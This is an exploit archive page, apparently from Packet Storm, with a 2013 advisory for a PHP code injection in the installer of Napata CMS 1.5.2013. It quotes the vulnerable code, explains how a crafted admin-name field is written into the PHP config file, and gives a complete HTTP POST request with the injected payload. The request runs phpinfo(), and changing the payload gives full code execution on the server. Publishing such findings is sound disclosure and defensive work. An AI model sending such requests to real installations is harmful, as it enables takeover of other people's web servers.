ignore security and it'll go away

Napata CMS 1.5.2013 PHP Code Injection

Napata CMS 1.5.2013 PHP Code Injection
Posted Jun 5, 2013
Authored by CWH Underground

Napata CMS version 1.5.2013 suffers from a remote command execution vulnerability.

tags | exploit, remote
MD5 | 762e4833d104791d4b630f1197cff30e

Napata CMS 1.5.2013 PHP Code Injection

Change Mirror Download
# Exploit Title   : Napata CMS PHP Code Injection
# Date : 5 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://napata-cms.blogspot.com/
# Software Link : http://sourceforge.net/projects/napatacms/files/latest/download
# Version : 1.5.2013
# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/install/install-core.php (LINE: 123-151)

-----------------------------------------------------------------------------
LINE 123-149:

function SaveSettings () {
global $_POST;
if(isset($_POST['save_settings']))
{

echo 'The config file has been written ......<br />';
$default_time = isset($_POST['default_time']) ? $_POST['default_time'] : 'UTC';
$db_host = isset($_POST['db_host']) ? $_POST['db_host'] : 'localhost';
$db_name = isset($_POST['db_name']) ? $_POST['db_name'] : '';
$db_user = isset($_POST['db_user']) ? $_POST['db_user'] : 'root';
$db_password = isset($_POST['db_password']) ? $_POST['db_password'] : '';
$db_prefix = isset($_POST['db_prefix']) ? $_POST['db_prefix'] : 'npt_';
$ad_name = isset($_POST['ad_name']) ? $_POST['ad_name'] : '';
$ad_username = isset($_POST['ad_username']) ? $_POST['ad_username'] : 'admin';
$ad_email = isset($_POST['ad_email']) ? $_POST['ad_email'] : '';
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$sitename = isset($_POST['sitename']) ? addslashes($_POST['sitename']) : 'Napata CMS';
$tagline = isset($_POST['tagline']) ? addslashes($_POST['tagline']) : 'A different CMS';
$home_articles = isset($_POST['home_articles']) ? $_POST['home_articles'] : '5';
$static_homepage = isset($_POST['homepage']) ? addslashes($_POST['homepage']) : '';
$twitter = isset($_POST['twitter']) ? $_POST['twitter'] : 'http://twitter.com/username';
$facebook = isset($_POST['facebook']) ? $_POST['facebook'] : 'http://www.facebook.com';
$linkedin = isset($_POST['linkedin']) ? $_POST['linkedin'] : 'http://www.linkedin.com';
$youtube = isset($_POST['youtube']) ? $_POST['youtube'] : 'http://www.youtube.com';
$flickr = isset($_POST['flickr']) ? $_POST['flickr'] : 'http://www.flickr.com';
$version = VERSION;
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
LINE 151:

$fh = fopen("include/settings/base.php", 'w+') or die("Could not create the config file. Please check the file permissions to the cms installation folder.");

-----------------------------------------------------------------------------

#####################################################
DESCRIPTION
#####################################################

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

This CMS has input validation by addslashes() function (LINE: 140,141,143). Anyway attacker able to insert PHP code "Admin');phpinfo();//" into other parameter
that's not properly sanitized.

/settings/base.php
-----------------------------------------------------------------------------
...
date_default_timezone_set('UTC');
define ('DATABASE_HOST', 'localhost');
define ('DATABASE_NAME', 'napata');
define ('DATABASE_USER_NAME', 'root');
define ('DATABASE_PASSWORD', 'myDB@dm1n');
define('ADMIN_NAME','Admin');phpinfo();//');
define('ADMIN_USERNAME','admin');
...
-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################


POST /napata/install.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/napata/install.php
Cookie: lang=en_US; PHPSESSID=s291lhmkfa4qsjk5kb5k5268e3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 525

default_time=UTC&db_host=localhost&db_name=napata&db_user=root&db_password=myDB@dm1n&db_prefix=npt_&ad_name=Admin');phpinfo();//&ad_username=admin&
ad_email=admin%40this-site.com&domain=www.what-is-my-site-domain.me&sitename=Napata+CMS&tagline=A+different+CMS&home_articles=5&homepage=About+Us&
twitter=http%3A%2F%2Ftwitter.com%2Fusername&facebook=http%3A%2F%2Fwww.facebook.com&linkedin=http%3A%2F%2Fwww.linkedin.com&youtube=http%3A%2F%2Fwww.youtube.com&
flickr=http%3A%2F%2Fwww.flickr.com&save_settings=Save+Settings

################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    28 Files
  • 26
    Jul 26th
    2 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close